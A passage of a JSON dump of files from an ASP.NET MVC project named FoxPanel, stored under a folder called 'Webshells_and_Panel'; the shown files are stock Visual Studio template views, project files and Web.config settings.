/>\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\HELP-US-OUT.txt\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\OFL.txt\" />\r\n    <Content Include=\"Login_v1\\images\\foxicon.png\" />\r\n    <Content Include=\"Login_v1\\images\\icons\\favicon.ico\" />\r\n    <Content Include=\"Login_v1\\images\\img-01.png\" />\r\n    <Content Include=\"Login_v1\\index.html\" />\r\n    <Content Include=\"Login_v1\\js\\main.js\" />\r\n    <Content Include=\"Login_v1\\vendor\\animate\\animate.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap-grid.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap-grid.min.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap-reboot.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap-reboot.min.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap.min.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\js\\bootstrap.js\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\js\\bootstrap.min.js\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\js\\popper.js\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\js\\popper.min.js\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\js\\tooltip.js\" />\r\n    <Content Include=\"Login_v1\\vendor\\css-hamburgers\\hamburgers.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\css-hamburgers\\hamburgers.min.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\jquery\\jquery-3.2.1.min.js\" />\r\n    <Content Include=\"Login_v1\\vendor\\select2\\select2.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\select2\\select2.js\" />\r\n    <Content Include=\"Login_v1\\vendor\\select2\\select2.min.css\" />\r\n    <Content Include=\"Login_v1\\vendor\\select2\\select2.min.js\" />\r\n    <Content Include=\"Login_v1\\vendor\\tilt\\tilt.jquery.min.js\" />\r\n    <Content Include=\"Scripts\\bootstrap.js\" />\r\n    <Content Include=\"Scripts\\bootstrap.min.js\" />\r\n    <Content Include=\"ApplicationInsights.config\">\r\n      <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>\r\n    </Content>\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\fonts\\fontawesome-webfont.eot\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\fonts\\fontawesome-webfont.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\fonts\\fontawesome-webfont.woff\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\fonts\\fontawesome-webfont.woff2\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\fonts\\FontAwesome.otf\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\animated.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\bordered-pulled.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\core.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\fixed-width.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\font-awesome.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\icons.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\larger.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\list.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\mixins.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\path.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\rotated-flipped.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\screen-reader.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\stacked.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\less\\variables.less\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\font-awesome.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_animated.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_bordered-pulled.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_core.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_fixed-width.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_icons.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_larger.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_list.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_mixins.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_path.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_rotated-flipped.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_screen-reader.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_stacked.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\font-awesome-4.7.0\\scss\\_variables.scss\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-Black.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-BlackItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-Bold.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-BoldItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-ExtraBold.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-ExtraBoldItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-ExtraLight.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-ExtraLightItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-Italic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-Light.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-LightItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-Medium.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-MediumItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-Regular.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-SemiBold.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-SemiBoldItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-Thin.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\montserrat\\Montserrat-ThinItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-Black.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-BlackItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-Bold.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-BoldItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-ExtraBold.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-ExtraBoldItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-ExtraLight.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-ExtraLightItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-Italic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-Light.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-LightItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-Medium.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-MediumItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-Regular.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-SemiBold.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-SemiBoldItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-Thin.ttf\" />\r\n    <Content Include=\"Login_v1\\fonts\\poppins\\Poppins-ThinItalic.ttf\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap-grid.css.map\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap-grid.min.css.map\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap-reboot.css.map\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap-reboot.min.css.map\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap.css.map\" />\r\n    <Content Include=\"Login_v1\\vendor\\bootstrap\\css\\bootstrap.min.css.map\" />\r\n    <None Include=\"Scripts\\jquery-1.10.2.intellisense.js\" />\r\n    <Content Include=\"Scripts\\jquery-1.10.2.js\" />\r\n    <Content Include=\"Scripts\\jquery-1.10.2.min.js\" />\r\n    <None Include=\"Scripts\\jquery.validate-vsdoc.js\" />\r\n    <Content Include=\"Scripts\\jquery.validate.js\" />\r\n    <Content Include=\"Scripts\\jquery.validate.min.js\" />\r\n    <Content Include=\"Scripts\\jquery.validate.unobtrusive.js\" />\r\n    <Content Include=\"Scripts\\jquery.validate.unobtrusive.min.js\" />\r\n    <Content Include=\"Scripts\\modernizr-2.6.2.js\" />\r\n    <Content Include=\"Scripts\\respond.js\" />\r\n    <Content Include=\"Scripts\\respond.min.js\" />\r\n    <Content Include=\"Web.config\" />\r\n    <Content Include=\"Web.Debug.config\">\r\n      <DependentUpon>Web.config</DependentUpon>\r\n    </Content>\r\n    <Content Include=\"Web.Release.config\">\r\n      <DependentUpon>Web.config</DependentUpon>\r\n    </Content>\r\n    <Content Include=\"Views\\Web.config\" />\r\n    <Content Include=\"Views\\_ViewStart.cshtml\" />\r\n    <Content Include=\"Views\\Shared\\Error.cshtml\" />\r\n    <Content Include=\"Views\\Shared\\_Layout.cshtml\" />\r\n    <Content Include=\"Views\\Home\\About.cshtml\" />\r\n    <Content Include=\"Views\\Home\\Contact.cshtml\" />\r\n    <Content Include=\"Views\\Home\\Index.cshtml\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Folder Include=\"App_Data\\\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"fonts\\glyphicons-halflings-regular.woff\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"fonts\\glyphicons-halflings-regular.ttf\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"fonts\\glyphicons-halflings-regular.eot\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"packages.config\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"Scripts\\jquery-1.10.2.min.map\" />\r\n  </ItemGroup>\r\n  <PropertyGroup>\r\n    <VisualStudioVersion Condition=\"'$(VisualStudioVersion)' == ''\">10.0</VisualStudioVersion>\r\n    <VSToolsPath Condition=\"'$(VSToolsPath)' == ''\">$(MSBuildExtensionsPath32)\\Microsoft\\VisualStudio\\v$(VisualStudioVersion)</VSToolsPath>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(MSBuildBinPath)\\Microsoft.CSharp.targets\" />\r\n  <Import Project=\"$(VSToolsPath)\\WebApplications\\Microsoft.WebApplication.targets\" Condition=\"'$(VSToolsPath)' != ''\" />\r\n  <Import Project=\"$(MSBuildExtensionsPath32)\\Microsoft\\VisualStudio\\v10.0\\WebApplications\\Microsoft.WebApplication.targets\" Condition=\"false\" />\r\n  <Target Name=\"MvcBuildViews\" AfterTargets=\"AfterBuild\" Condition=\"'$(MvcBuildViews)'=='true'\">\r\n    <AspNetCompiler VirtualPath=\"temp\" PhysicalPath=\"$(WebProjectOutputDir)\" />\r\n  </Target>\r\n  <ProjectExtensions>\r\n    <VisualStudio>\r\n      <FlavorProperties GUID=\"{349c5851-65df-11da-9384-00065b846f21}\">\r\n        <WebProjectProperties>\r\n          <UseIIS>True</UseIIS>\r\n          <AutoAssignPort>True</AutoAssignPort>\r\n          <DevelopmentServerPort>51246</DevelopmentServerPort>\r\n          <DevelopmentServerVPath>/</DevelopmentServerVPath>\r\n          <IISUrl>http://localhost:51246/</IISUrl>\r\n          <NTLMAuthentication>False</NTLMAuthentication>\r\n          <UseCustomServer>False</UseCustomServer>\r\n          <CustomServerUrl>\r\n          </CustomServerUrl>\r\n          <SaveServerSettingsInUserFile>False</SaveServerSettingsInUserFile>\r\n        </WebProjectProperties>\r\n      </FlavorProperties>\r\n    </VisualStudio>\r\n  </ProjectExtensions>\r\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\r\n    <PropertyGroup>\r\n      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>\r\n    </PropertyGroup>\r\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.Net.Compilers.1.3.2\\build\\Microsoft.Net.Compilers.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.Net.Compilers.1.3.2\\build\\Microsoft.Net.Compilers.props'))\" />\r\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.3\\build\\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.3\\build\\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.props'))\" />\r\n  </Target>\r\n  <!-- To modify your build process, add your task inside one of the targets below and uncomment it.\r\n       Other similar extension points exist, see Microsoft.Common.targets.\r\n  <Target Name=\"BeforeBuild\">\r\n  </Target>\r\n  <Target Name=\"AfterBuild\">\r\n  </Target> -->\r\n</Project>"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/FoxPanel.csproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <PropertyGroup>\r\n    <UseIISExpress>true</UseIISExpress>\r\n    <ProjectView>ShowAllFiles</ProjectView>\r\n  </PropertyGroup>\r\n  <ProjectExtensions>\r\n    <VisualStudio>\r\n      <FlavorProperties GUID=\"{349c5851-65df-11da-9384-00065b846f21}\">\r\n        <WebProjectProperties>\r\n          <StartPageUrl>\r\n          </StartPageUrl>\r\n          <StartAction>CurrentPage</StartAction>\r\n          <AspNetDebugging>True</AspNetDebugging>\r\n          <SilverlightDebugging>False</SilverlightDebugging>\r\n          <NativeDebugging>False</NativeDebugging>\r\n          <SQLDebugging>False</SQLDebugging>\r\n          <ExternalProgram>\r\n          </ExternalProgram>\r\n          <StartExternalURL>\r\n          </StartExternalURL>\r\n          <StartCmdLineArguments>\r\n          </StartCmdLineArguments>\r\n          <StartWorkingDirectory>\r\n          </StartWorkingDirectory>\r\n          <EnableENC>True</EnableENC>\r\n          <AlwaysStartWebServerOnDebug>True</AlwaysStartWebServerOnDebug>\r\n        </WebProjectProperties>\r\n      </FlavorProperties>\r\n    </VisualStudio>\r\n  </ProjectExtensions>\r\n</Project>"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Global.asax",
    "content": "﻿<%@ Application Codebehind=\"Global.asax.cs\" Inherits=\"FoxPanel.MvcApplication\" Language=\"C#\" %>\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Global.asax.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.Mvc;\r\nusing System.Web.Optimization;\r\nusing System.Web.Routing;\r\n\r\nnamespace FoxPanel\r\n{\r\n    public class MvcApplication : System.Web.HttpApplication\r\n    {\r\n        protected void Application_Start()\r\n        {\r\n            AreaRegistration.RegisterAllAreas();\r\n            FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);\r\n            RouteConfig.RegisterRoutes(RouteTable.Routes);\r\n            BundleConfig.RegisterBundles(BundleTable.Bundles);\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Models/DataBaseModels.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\n\r\nnamespace FoxPanel.Models\r\n{\r\n    public class DataBaseModels\r\n    {\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Views/Home/About.cshtml",
    "content": "﻿@{\r\n    ViewBag.Title = \"About\";\r\n}\r\n<h2>@ViewBag.Title.</h2>\r\n<h3>@ViewBag.Message</h3>\r\n\r\n<p>Use this area to provide additional information.</p>\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Views/Home/Contact.cshtml",
    "content": "﻿@{\r\n    ViewBag.Title = \"Contact\";\r\n}\r\n<h2>@ViewBag.Title.</h2>\r\n<h3>@ViewBag.Message</h3>\r\n\r\n<address>\r\n    One Microsoft Way<br />\r\n    Redmond, WA 98052-6399<br />\r\n    <abbr title=\"Phone\">P:</abbr>\r\n    425.555.0100\r\n</address>\r\n\r\n<address>\r\n    <strong>Support:</strong>   <a href=\"mailto:Support@example.com\">Support@example.com</a><br />\r\n    <strong>Marketing:</strong> <a href=\"mailto:Marketing@example.com\">Marketing@example.com</a>\r\n</address>"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Views/Home/Index.cshtml",
    "content": "﻿@{\r\n    ViewBag.Title = \"Home Page\";\r\n}\r\n\r\n<div class=\"jumbotron\">\r\n    <h1>ASP.NET</h1>\r\n    <p class=\"lead\">ASP.NET is a free web framework for building great Web sites and Web applications using HTML, CSS and JavaScript.</p>\r\n    <p><a href=\"https://asp.net\" class=\"btn btn-primary btn-lg\">Learn more &raquo;</a></p>\r\n</div>\r\n\r\n<div class=\"row\">\r\n    <div class=\"col-md-4\">\r\n        <h2>Getting started</h2>\r\n        <p>\r\n            ASP.NET MVC gives you a powerful, patterns-based way to build dynamic websites that\r\n            enables a clean separation of concerns and gives you full control over markup\r\n            for enjoyable, agile development.\r\n        </p>\r\n        <p><a class=\"btn btn-default\" href=\"https://go.microsoft.com/fwlink/?LinkId=301865\">Learn more &raquo;</a></p>\r\n    </div>\r\n    <div class=\"col-md-4\">\r\n        <h2>Get more libraries</h2>\r\n        <p>NuGet is a free Visual Studio extension that makes it easy to add, remove, and update libraries and tools in Visual Studio projects.</p>\r\n        <p><a class=\"btn btn-default\" href=\"https://go.microsoft.com/fwlink/?LinkId=301866\">Learn more &raquo;</a></p>\r\n    </div>\r\n    <div class=\"col-md-4\">\r\n        <h2>Web Hosting</h2>\r\n        <p>You can easily find a web hosting company that offers the right mix of features and price for your applications.</p>\r\n        <p><a class=\"btn btn-default\" href=\"https://go.microsoft.com/fwlink/?LinkId=301867\">Learn more &raquo;</a></p>\r\n    </div>\r\n</div>"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Views/Shared/Error.cshtml",
    "content": "﻿<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <meta name=\"viewport\" content=\"width=device-width\" />\r\n    <title>Error</title>\r\n</head>\r\n<body>\r\n    <hgroup>\r\n        <h1>Error.</h1>\r\n        <h2>An error occurred while processing your request.</h2>\r\n    </hgroup>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Views/Shared/_Layout.cshtml",
    "content": "﻿<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <meta charset=\"utf-8\" />\r\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\r\n    <title>@ViewBag.Title - My ASP.NET Application</title>\r\n    @Styles.Render(\"~/Content/css\")\r\n    @Scripts.Render(\"~/bundles/modernizr\")\r\n</head>\r\n<body>\r\n    <div class=\"navbar navbar-inverse navbar-fixed-top\">\r\n        <div class=\"container\">\r\n            <div class=\"navbar-header\">\r\n                <button type=\"button\" class=\"navbar-toggle\" data-toggle=\"collapse\" data-target=\".navbar-collapse\">\r\n                    <span class=\"icon-bar\"></span>\r\n                    <span class=\"icon-bar\"></span>\r\n                    <span class=\"icon-bar\"></span>\r\n                </button>\r\n                @Html.ActionLink(\"Application name\", \"Index\", \"Home\", new { area = \"\" }, new { @class = \"navbar-brand\" })\r\n            </div>\r\n            <div class=\"navbar-collapse collapse\">\r\n                <ul class=\"nav navbar-nav\">\r\n                    <li>@Html.ActionLink(\"Home\", \"Index\", \"Home\")</li>\r\n                    <li>@Html.ActionLink(\"About\", \"About\", \"Home\")</li>\r\n                    <li>@Html.ActionLink(\"Contact\", \"Contact\", \"Home\")</li>\r\n                </ul>\r\n            </div>\r\n        </div>\r\n    </div>\r\n    <div class=\"container body-content\">\r\n        @RenderBody()\r\n        <hr />\r\n        <footer>\r\n            <p>&copy; @DateTime.Now.Year - My ASP.NET Application</p>\r\n        </footer>\r\n    </div>\r\n\r\n    @Scripts.Render(\"~/bundles/jquery\")\r\n    @Scripts.Render(\"~/bundles/bootstrap\")\r\n    @RenderSection(\"scripts\", required: false)\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Views/Web.config",
    "content": "﻿<?xml version=\"1.0\"?>\r\n\r\n<configuration>\r\n  <configSections>\r\n    <sectionGroup name=\"system.web.webPages.razor\" type=\"System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\">\r\n      <section name=\"host\" type=\"System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\" requirePermission=\"false\" />\r\n      <section name=\"pages\" type=\"System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\" requirePermission=\"false\" />\r\n    </sectionGroup>\r\n  </configSections>\r\n\r\n  <system.web.webPages.razor>\r\n    <host factoryType=\"System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\" />\r\n    <pages pageBaseType=\"System.Web.Mvc.WebViewPage\">\r\n      <namespaces>\r\n        <add namespace=\"System.Web.Mvc\" />\r\n        <add namespace=\"System.Web.Mvc.Ajax\" />\r\n        <add namespace=\"System.Web.Mvc.Html\" />\r\n        <add namespace=\"System.Web.Optimization\"/>\r\n        <add namespace=\"System.Web.Routing\" />\r\n        <add namespace=\"FoxPanel\" />\r\n      </namespaces>\r\n    </pages>\r\n  </system.web.webPages.razor>\r\n\r\n  <appSettings>\r\n    <add key=\"webpages:Enabled\" value=\"false\" />\r\n  </appSettings>\r\n\r\n  <system.webServer>\r\n    <handlers>\r\n      <remove name=\"BlockViewHandler\"/>\r\n      <add name=\"BlockViewHandler\" path=\"*\" verb=\"*\" preCondition=\"integratedMode\" type=\"System.Web.HttpNotFoundHandler\" />\r\n    </handlers>\r\n  </system.webServer>\r\n\r\n  <system.web>\r\n    <compilation>\r\n      <assemblies>\r\n        <add assembly=\"System.Web.Mvc, Version=5.2.3.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\" />\r\n      </assemblies>\r\n    </compilation>\r\n  </system.web>\r\n</configuration>\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Views/_ViewStart.cshtml",
    "content": "﻿@{\r\n    Layout = \"~/Views/Shared/_Layout.cshtml\";\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Web.Debug.config",
    "content": "﻿<?xml version=\"1.0\"?>\r\n\r\n<!-- For more information on using Web.config transformation visit https://go.microsoft.com/fwlink/?LinkId=301874 -->\r\n\r\n<configuration xmlns:xdt=\"http://schemas.microsoft.com/XML-Document-Transform\">\r\n  <!--\r\n    In the example below, the \"SetAttributes\" transform will change the value of\r\n    \"connectionString\" to use \"ReleaseSQLServer\" only when the \"Match\" locator\r\n    finds an attribute \"name\" that has a value of \"MyDB\".\r\n\r\n    <connectionStrings>\r\n      <add name=\"MyDB\"\r\n        connectionString=\"Data Source=ReleaseSQLServer;Initial Catalog=MyReleaseDB;Integrated Security=True\"\r\n        xdt:Transform=\"SetAttributes\" xdt:Locator=\"Match(name)\"/>\r\n    </connectionStrings>\r\n  -->\r\n  <system.web>\r\n    <!--\r\n      In the example below, the \"Replace\" transform will replace the entire\r\n      <customErrors> section of your Web.config file.\r\n      Note that because there is only one customErrors section under the\r\n      <system.web> node, there is no need to use the \"xdt:Locator\" attribute.\r\n\r\n      <customErrors defaultRedirect=\"GenericError.htm\"\r\n        mode=\"RemoteOnly\" xdt:Transform=\"Replace\">\r\n        <error statusCode=\"500\" redirect=\"InternalError.htm\"/>\r\n      </customErrors>\r\n    -->\r\n  </system.web>\r\n</configuration>\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Web.Release.config",
    "content": "﻿<?xml version=\"1.0\"?>\r\n\r\n<!-- For more information on using Web.config transformation visit https://go.microsoft.com/fwlink/?LinkId=301874 -->\r\n\r\n<configuration xmlns:xdt=\"http://schemas.microsoft.com/XML-Document-Transform\">\r\n  <!--\r\n    In the example below, the \"SetAttributes\" transform will change the value of\r\n    \"connectionString\" to use \"ReleaseSQLServer\" only when the \"Match\" locator\r\n    finds an attribute \"name\" that has a value of \"MyDB\".\r\n\r\n    <connectionStrings>\r\n      <add name=\"MyDB\"\r\n        connectionString=\"Data Source=ReleaseSQLServer;Initial Catalog=MyReleaseDB;Integrated Security=True\"\r\n        xdt:Transform=\"SetAttributes\" xdt:Locator=\"Match(name)\"/>\r\n    </connectionStrings>\r\n  -->\r\n  <system.web>\r\n    <compilation xdt:Transform=\"RemoveAttributes(debug)\" />\r\n    <!--\r\n      In the example below, the \"Replace\" transform will replace the entire\r\n      <customErrors> section of your Web.config file.\r\n      Note that because there is only one customErrors section under the\r\n      <system.web> node, there is no need to use the \"xdt:Locator\" attribute.\r\n\r\n      <customErrors defaultRedirect=\"GenericError.htm\"\r\n        mode=\"RemoteOnly\" xdt:Transform=\"Replace\">\r\n        <error statusCode=\"500\" redirect=\"InternalError.htm\"/>\r\n      </customErrors>\r\n    -->\r\n  </system.web>\r\n</configuration>\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/Web.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<!--\r\n  For more information on how to configure your ASP.NET application, please visit\r\n  https://go.microsoft.com/fwlink/?LinkId=301880\r\n  -->\r\n<configuration>\r\n  <configSections>\r\n    <!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->\r\n    <section name=\"entityFramework\" type=\"System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\" requirePermission=\"false\" />\r\n  </configSections>\r\n  <appSettings>\r\n    <add key=\"webpages:Version\" value=\"3.0.0.0\" />\r\n    <add key=\"webpages:Enabled\" value=\"false\" />\r\n    <add key=\"ClientValidationEnabled\" value=\"true\" />\r\n    <add key=\"UnobtrusiveJavaScriptEnabled\" value=\"true\" />\r\n  </appSettings>\r\n  <system.web>\r\n    <compilation debug=\"true\" targetFramework=\"4.5.2\" />\r\n    <httpRuntime targetFramework=\"4.5.2\" />\r\n    <httpModules>\r\n      <add name=\"ApplicationInsightsWebTracking\" type=\"Microsoft.ApplicationInsights.Web.ApplicationInsightsHttpModule, Microsoft.AI.Web\" />\r\n    </httpModules>\r\n  </system.web>\r\n  <runtime>\r\n    <assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\">\r\n      <dependentAssembly>\r\n        <assemblyIdentity name=\"Newtonsoft.Json\" culture=\"neutral\" publicKeyToken=\"30ad4fe6b2a6aeed\" />\r\n        <bindingRedirect oldVersion=\"0.0.0.0-6.0.0.0\" newVersion=\"6.0.0.0\" />\r\n      </dependentAssembly>\r\n      <dependentAssembly>\r\n        <assemblyIdentity name=\"System.Web.Optimization\" publicKeyToken=\"31bf3856ad364e35\" 